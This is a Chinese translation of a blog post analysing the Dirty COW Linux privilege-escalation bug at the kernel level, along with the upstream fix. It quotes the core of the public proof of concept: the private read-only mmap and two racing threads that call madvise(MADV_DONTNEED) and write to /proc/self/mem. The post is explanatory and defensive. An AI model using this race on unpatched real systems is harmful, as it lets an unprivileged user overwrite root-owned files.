从内核角度分析Dirty Cow原理

介绍

虽然已经有很多文章和博客贴出了该漏洞的利用,但是没有一个给出从内核角度分析Dirty Cow原理的详细描述。如下的分析是基于这个Dirty Cow POC的,同样的思路也适用于其他相似的攻击。例子代码很短,最重要的是两个线程的操作:一个线程调用write(2)写/proc/self/mem,另一个线程调用madvice(MADV_DONTNEED)。由于这两个线程操作的相互竞争,当wirte(2)直接修改基于文件的内存映射时(即使涉及到的文件不允许被攻击者进程写)会产生一个安全问题,最终导致提权。

该文章颇重于技术层面,故假设读者已经掌握了如下的基本技术点:

  • Virtual Memory(虚拟内存)
  • Pages(页)
  • Page Fault(页错误)
  • Copy-on-Write(写时复制)

如何实现攻击

尽管我们最终是想写入,然而代码首先会以只读的方式O_RDONLY来打开open一个特定的文件,这样做的目的是为了让内核”happy”,由于我们目前只有比较低的权限,无法写入特定的文件。在成功打开并获取了文件描述符之后,立即调用mmap来映射该文件。

  f=open(argv[1],O_RDONLY);
    fstat(f,&st);
    name=argv[1];
    /*
    You have to use MAP_PRIVATE for copy-on-write mapping.
    > Create a private copy-on-write mapping.  Updates to the
    > mapping are not visible to other processes mapping the same
    > file, and are not carried through to the underlying file.  It
    > is unspecified whether changes made to the file after the
    > mmap() call are visible in the mapped region.
    */
    /*
    You have to open with PROT_READ.
    */
    map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

调用函数mmap在进程的虚拟地址空间中创建了一个基于文件的(file-backed)的只读的内存映射,内核中通过结构struct vm_area_struect来描述该内核对象,其包含映射的文件描述符,对于映射的页的读写权限等一些信息。之后创建了两个线程,一个调用madvice,另一个调用write。

    pthread_create(&pth1,NULL,madviseThread,argv[1]);
    pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

首先看下madviseThread做了什么:

void *madviseThread(void *arg){
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);}

madvise(MADV_DONTNEED)基本功能是清除被管理的内存映射的物理页。就当前情况而言, 在调用完该函数后,提到的这些页将被clear。当下一次用户尝试访问这些内存区域时,原始的内容会重新从磁盘或者页缓存中导入,而对于匿名的堆内存,则会填充零。

官方文档解释如下:

MADV_DONTNEEDDo not expect access in the near future. (For the time being, the application is finished with the given range, so the kernel can free resources associated with it.) Subsequent accesses of pages in this range will succeed, but will result either in reloading of the memory contents from the underlying mapped file (see mmap(2)) or zero-fill-on-demand pages for mappings without an underlying file

MADV_DONTNEED在Linux上的行为一直都是有争议的,它并没有完全服从POSIX的标准。事实上,我们将会看到它非标准的行为而导致Dirty COW的攻击变为可能。

继续看另一个线程,此处是攻击的关键点:

void *procselfmemThread(void *arg){
    char *str;
    str=(char*)arg;
    /*
       You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
       >  The in the wild exploit we are aware of doesn't work on Red Hat
       >  Enterprise Linux 5 and 6 out of the box because on one side of
       >  the race it writes to /proc/self/mem, but /proc/self/mem is not
       >  writable on Red Hat Enterprise Linux 5 and 6.
     */
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<100000000;i++) {
        /*
           You have to reset the file pointer to the memory position.
         */
        lseek(f,(uintptr_t) map,SEEK_SET);
        c+=write(f,str,strlen(str));
    }
    printf("procselfmem %d\n\n", c);}

它首先lseek到映射的地址,之后调用write(2)便实现了直接修改原本是只读权限的file-backed的内存映射。究竟是哪种行为导致特权文件的修改?HOW???!!!
write(2) on /proc/{pid}/mem
/proc/{pid}/meme是一个假的文件,它提供了一些Out-of-band的访问内存的方法。另一个类似的访问是调用ptrace(2),同样的,也可称为Dirty COW的另一个可选的攻击点。
为弄清楚/proc/self/mem如何工作,我们需要深入的了解内核。首先看下对于虚拟的文件,write(2)是如何实现的。
在内核层面中,文件系统的操作的实现是利用面向对象的思想设计的(OOP)。有一个通用的抽象的结构struct file_operations。不同的文件类型,可以提供不同的实现。对于/proc/{pid}/mem,它的实现在文件/fs/proc/base.c中。

static const struct file_operations proc_mem_operations = {
    .llseek  = mem_lseek,
    .read    = mem_read,
    .write   = mem_write,
    .open    = mem_open,
    .release = mem_release,};

当write(2)写一个虚拟文件时,内核将调用函数mem_write,它只是对meme_rw的一个简单的封装。

static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write){
    struct mm_struct *mm = file->private_data;
    unsigned long addr = *ppos;
    ssize_t copied;
    char *page;

    if (!mm)
        return 0;

    /* allocate an exchange buffer */
    page = (char *)__get_free_page(GFP_TEMPORARY);
    if (!page)
        return -ENOMEM;

    copied = 0;
    if (!atomic_inc_not_zero(&mm->mm_users))
        goto free;

    while (count > 0) {
        int this_len = min_t(int, count, PAGE_SIZE);

        /* copy user content to the exchange buffer */
        if (write && copy_from_user(page, buf, this_len)) {
            copied = -EFAULT;
            break;
        }

        this_len = access_remote_vm(mm, addr, page, this_len, write);
        if (!this_len) {
            if (!copied)
                copied = -EIO;
            break;
        }

        if (!write && copy_to_user(buf, page, this_len)) {
            copied = -EFAULT;
            break;
        }

        buf += this_len;
        addr += this_len;
        copied += this_len;
        count -= this_len;
    }
    *ppos = addr;

    mmput(mm);free:
    free_page((unsigned long) page);
    return copied;}

函数开始的时候分配了一个临时的内存buffer,用来在源进程(i.e. 写的那个进程)和目的进程(被写/proc/self/mem的那个进程)之间的内存交换。当前,这两个进程是一样的。但是在一般情况下这一步是非常重要的,对于两个不同的进程。因为一个进程不能直接访问另一个进程的虚拟地址空间。
之后它拷贝源进程的用户态bufferbuf中的内容到当前刚申请的空间中,通过调用函数copy_from_use。
当这些前奏工作准备好之后,真正关键的部分是access_remote_vm。正如其名字含义一样,它允许内核读写另一个进程的虚拟地址空间。它是所有out-of-band访问内存方式的核心实现(比如,ptrace(2), /proc/self/mem, process_vm_readv, process_vm_writev等)。
access_remote_vm调用了多个中间层函数,最终调用__get_user_pages_locked(...),在这个函数中,它第一次开始解析这种out-of-band访问方式的flags,当前情况的标志为:
FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE
这些被称为gup_flags(Get User Pages flags)或者foll_flags(Follow flags),它们来代表一些信息,比如调用者为什么或以何种方式访问和获得目标的内存页。我们暂称它为access semantics(访问语义)。
之后flag和所有其他的参数之后传递给__get_user_pages,此时才是开始真正地访问远程进程内存。
__get_user_pages 和faultin_page。
__get_use_pages函数用来查找和锁定一个指定的虚拟地址范围(在远程进程的虚拟地址空间范围内)到内核地址空间范围内。锁定内存是必须的,若没有这一步,用户态页面可能不在内存中。之后__get_user_pages以某种方式模拟用户态内存访问,但是是在内核层面上,之后使用faultin_page来完成对页错误的处理。
如下是相关代码片段:

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
        unsigned long start, unsigned long nr_pages,
        unsigned int gup_flags, struct page **pages,
        struct vm_area_struct **vmas, int *nonblocking){
    /* ... snip ... */

    do {
        /* ... snip ... */retry:
        cond_resched(); /* please rescheule me!!! */
        page = follow_page_mask(vma, start, foll_flags, &page_mask);
        if (!page) {
            int ret;
            ret = faultin_page(tsk, vma, start, &foll_flags,
                    nonblocking);
            switch (ret) {
            case 0:
                goto retry;
            case -EFAULT:
            case -ENOMEM:
            case -EHWPOISON:
                return i ? i : ret;
            case -EBUSY:
                return i;
            case -ENOENT:
                goto next_page;
            }
            BUG();
        } 
        if (pages) {
            pages[i] = page;
            flush_anon_page(vma, page, start);
            flush_dcache_page(page);
            page_mask = 0;
        }
        /* ... snip ... */
    }
    /* ... snip ... */}

代码首先定位远程进程中起始地址为start的内存页,而且foll_flags决定着当前的内存访问语义。如果该页面不可用(page==NULL),即该页面不在内存中,需要进行页错误处理。之后faultin_page被调用,内部模拟一个内存空间的访问和触发页错误处理,以期待handler换进丢失的页。
通常有几个原因导致follow_page_mask`返回空,如下是一个不完全的列表:

  • 该地址没有关联的内存映射,比如访问空指针。
  • 该内存映射已经被创建了,但是由于demand-paging,内容尚未被加载进来。
  • 页已经被换出到原始的文件或者交换文件中。
  • 访问语义foll_flags与页的权限配置不一致(比如,写一个只读的映射)。

    最后一个原因就是我们调用write(2)写/proc/self/mem后发生的情况。通常的做法是页错误handler成功的处理错误,返回一个有效的页,之后再次重新访问。
    注意那个retry标志。此刻还不清楚作用,之后我们会提到,它是另一个导致此次exploit的“帮凶”。
    心里明白这点后,继续看fault_page的实现:

static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
        unsigned long address, unsigned int *flags, int *nonblocking){
    struct mm_struct *mm = vma->vm_mm;
    unsigned int fault_flags = 0;
    int ret;

    /* mlock all present pages, but do not fault in new pages */
    if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
        return -ENOENT;
    /* For mm_populate(), just skip the stack guard page. */
    if ((*flags & FOLL_POPULATE) &&
            (stack_guard_page_start(vma, address) ||
             stack_guard_page_end(vma, address + PAGE_SIZE)))
        return -ENOENT;
    if (*flags & FOLL_WRITE)
        fault_flags |= FAULT_FLAG_WRITE;
    if (*flags & FOLL_REMOTE)
        fault_flags |= FAULT_FLAG_REMOTE;
    if (nonblocking)
        fault_flags |= FAULT_FLAG_ALLOW_RETRY;
    if (*flags & FOLL_NOWAIT)
        fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
    if (*flags & FOLL_TRIED) {
        VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
        fault_flags |= FAULT_FLAG_TRIED;
    }

    ret = handle_mm_fault(mm, vma, address, fault_flags);
    if (ret & VM_FAULT_ERROR) {
        if (ret & VM_FAULT_OOM)
            return -ENOMEM;
        if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
            return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
        if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
            return -EFAULT;
        BUG();
    }

    if (tsk) {
        if (ret & VM_FAULT_MAJOR)
            tsk->maj_flt++;
        else
            tsk->min_flt++;
    }

    if (ret & VM_FAULT_RETRY) {
        if (nonblocking)
            *nonblocking = 0;
        return -EBUSY;
    }

    /*
     * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
     * necessary, even if maybe_mkwrite decided not to set pte_write. We
     * can thus safely do subsequent page lookups as if they were reads.
     * But only do so when looping for pte_write is futile: in some cases
     * userspace may also be wanting to write to the gotten user page,
     * which a read fault here might prevent (a readonly page might get
     * reCOWed by userspace write).
     */
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
        *flags &= ~FOLL_WRITE;
    return 0;}

函数的前半段解释foll_flags为对应的fault_flags,用以传递给handle_mm_fault,而该函数负责解析页错误,这样__get_user_pages可以继续执行。
在当前情况中,因为我们要修改的原始的内存映射为只读的,故handle_mm_fault将创建一个新的只读的COW page(do_wp_page)给我们想要写的地址,同时使它为变为私有的和dirty,因此称为Dirty COW。
真正创建COWed page的是嵌入在handle深处的do_wp_page,粗略的执行流程如下:

faultin_page
  handle_mm_fault
    __handle_mm_fault
      handle_pte_fault
        FAULT_FLAG_WRITE && !pte_write
      do_wp_page        PageAnon() <- this is CoWed page already
        reuse_swap_page <- page is exclusively ours
        wp_page_reuse
          maybe_mkwrite <- dirty but RO again
          ret = VM_FAULT_WRITE

现在我们将视线转回fault_page的结束位置,在它返回之前,它做了如下一件事,使得该利用变为可能。

    /*
     * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
     * necessary, even if maybe_mkwrite decided not to set pte_write. We
     * can thus safely do subsequent page lookups as if they were reads.
     * But only do so when looping for pte_write is futile: in some cases
     * userspace may also be wanting to write to the gotten user page,
     * which a read fault here might prevent (a readonly page might get
     * reCOWed by userspace write).
     */
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
        *flags &= ~FOLL_WRITE;
    return 0;

在它检测到一个写时复制发生后,(ret & VM_FAULT_WRITE == true),它决定移除FOLL_WRITEflag。为什么要这样做?
还记得那个retry lable么?如果不移除FOLL_WRITE,则下一次retry,将执行同样的流程。新申请的COWed 页和原来的也有同样的访问权限。同样的访问权限,同样的foll_flags,同样的retry,会导致死循环。
为了打破这种无限的retry循环,一个聪明的想法是移除write flag。这样当下一次调用follow_page_mask时,将返回一个有效的页,指向起始地址。因为当前FOLL_WRITE不在了,foll_flags仅仅是一个普通的读权限,这对于新申请的COWed 只读页时允许的。

谎言

此处到了问题的关键。通过从foll_flags移除write标志, follow_page_mask在下一次retry时,该访问将被视为只读的,尽管我们的目标是要写。现在,假如我们在同一时刻,COWed page被抛弃了通过另一个线程调用madvice(MADV_DONTNEED)会怎样?当然什么灾难也不会发生。follow_page_mask将仍然失败由于定位COWed page时发生缺页。但是下一次在faultin_page发生的将非常有趣。因为这次foll_flags并不包含FOLL_WRITE,故不再创建一个dirty COW 页,handle_mm_fault将简单地将该页从page cache中移除!为什么这么直接,因为万能的kernel只是在处理请求read 权限(切记,FOLL_WRITE已经被移除了),为什么要费尽创建页的另一个拷贝,如果kernel已经约定不再修改它。
faultin_page返回不久之后,__get_user_pages将做另一次retry,来获取它请求了多次的页。多亏follow_page_mask在这次尝试中,最终返回给我们页。而且,它不再是普通的页,它是直接绑定特权文件的原始页。
Kernel帮助我们获得了打开特权城堡的钥匙。有这个页在手,通用的commonner non-root程序现在有能力修改root file了。
所有一切都是因为kernel在此撒谎了。在被告知dirty COW页已经ready之后的retry中,它只告诉了follow_page_mask和handle_mm_fault,只需要只读权限。这两个函数高兴的接受,最终返回一个当前任务最优的一个页。在这种情况下,它返回了一个如果我们修改它,它就将修改内容写回到原始特权文件的页。
在最终获得页之后,__get_user_pages可以最终跳过faultin_page调用,返回页给__access_remote_vm来进行更多的处理。

灾难

该页怎样被修改?如下是access_remote_vm的相关代码

    maddr = kmap(page);
    if (write) {
        copy_to_user_page(vma, page, addr,
                  maddr + offset, buf, bytes);
        set_page_dirty_lock(page);
    } else {
        /* ... snip ... */
    }
    kunmap(page);

上个代码片段中的page将直接映射我们之前提到的页。内核首先映射kmap这些页到内核地址空间中,之后调用copy_to_user_page快速地将buf中的用户数据写入到提到的页中,修改原始页的内容。
过一段时间以后,内核守护者线程(kflushd, bdflush, kupdated, pdflush线程等)会将被修改的页将被会写回到位于磁盘的特权文件中,这样就完成了整个攻击。
你可以会问,是听起来不错,但是发生的概率是多大?利用的话,有多少成功率?所有这些是在内核空间中吧?内核拥有权力来决定什么时候一个线程运行吧?
不幸的是,你可能已经猜到了。概率很大,Dirty COW甚至在一个单核的机器上,利用都相当稳定,归功于__get_user_ages会显示请求任务机制来切换线程,通过调用cond_resched。
以下是两个线程如何相互竞争的:

机敏的读者可能已经注意到了,如果我们直接访问一个基于文件的只读映射,一个段错误将会产生。但是,为什么我们使用wirte写proc/self/mem确返回了一个dirty COWed的页呢?
这个原因取决于当在一个进程内发生内存访问和当采用out-of-band(ptrace, /proc/{pid}/mem内存访问时,内核如何处理页错误的情况。这两种情况最终都会调用handle_mm_fault来处理页错误。但是后者使用faultin_page来模拟页错误,页错误直接导致触发MMU,将直接进入中断处理器,之后所有的路径都进入到平台独立的内核处理函数__do_page_fault中。而在直接写只读内存区域时,hanler将检测到访问违例在函数access_error中,同时在handle_mm_fault处理之前,直接触发信号SIGEGV在函数bad_aea_access_error中:

static noinline void__do_page_fault(struct pt_regs *regs, unsigned long error_code,
        unsigned long address){
    /* ... snip ... */

    if (unlikely(access_error(error_code, vma))) {
        /* Let's skip handle_mm_fault, here comes SIGSEGV!!! */
        bad_area_access_error(regs, error_code, address, vma);
        return;
    }

    /* I'm here... */
    fault = handle_mm_fault(mm, vma, address, flags);

    /* ... snip ... */}

然而,faultin_page会吝啬的处理访问违例,通过创建一个脏的 COWed页返回来使其合理合法(这毕竟是一个只读的,kernel不能如此轻松让你直接返回映射的页),相信kernel将会有一个完美的理由来violate这个访问,没有段错误。
为什么内核采用如此多步骤来提供这种Out-of-band的内存访问呢?为什么内核支持这种侵入式的访问,从一个进程来访问另一个进程的地址空间?
答案很简单,即使每个进程的地址空间是神圣的,私有性很强,等等。但是仍然需要调试器或别的侵入式的程序来有方法访问和获取一个进程的数据。这是一个了不起的实现,不然调试器从一个bug程序中如何设置断点和观察变量。

补丁

补丁非常短,整个diff如下:

diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6..ed85879 100644--- a/include/linux/mm.h+++ b/include/linux/mm.h@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
 #define FOLL_TRIED 0x800   /* a retry, previous pass started an IO */
 #define FOLL_MLOCK 0x1000  /* lock present pages */
 #define FOLL_REMOTE    0x2000  /* we are working on non-current tsk/mm */+#define FOLL_COW   0x4000  /* internal GUP flag */

 typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
            void *data);diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2f..22cc22e 100644--- a/mm/gup.c+++ b/mm/gup.c@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
    return -EEXIST;
 }+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)+{+   return pte_write(pte) ||+       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));+}+
 static struct page *follow_page_pte(struct vm_area_struct *vma,
        unsigned long address, pmd_t *pmd, unsigned int flags)
 {@@ -95,7 +105,7 @@ retry:
    }
    if ((flags & FOLL_NUMA) && pte_protnone(pte))
        goto no_page;-   if ((flags & FOLL_WRITE) && !pte_write(pte)) {+   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
        pte_unmap_unlock(ptep, ptl);
        return NULL;
    }@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
     * reCOWed by userspace write).
     */
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))-       *flags &= ~FOLL_WRITE;+           *flags |= FOLL_COW;
    return 0;
 }

这个补丁引入了一个新的标志FOLL_COW对应访问语义。当发生VM_FAULT_WRITE页错误时不再是简单地去掉FOLL_WRITE,write的语义将保持原样。但是为了仍然允许break这个retry循环,当下一次retry时,使用新的标志来产生一个dirty COWed页。如果期待的COWed页不在,一个新的页将会被返回来处理原始的拷贝。
所以,不要再撒谎了,这次补丁合理的处理COWed page下一次retry,然而,老的版本只是简单的抛弃了write 标志,寄希望于COWed page能在下次retry仍然存在。

结论

这个故事的寓意有两点:

  • 并发的程序非常难处理。
  • 撒谎是不对的。

——————————
原文链接: Dirty COW and why lying is bad even if you are the Linux kernel
本文章由看雪翻译小组 ghostway 翻译
编辑于 2017-06-28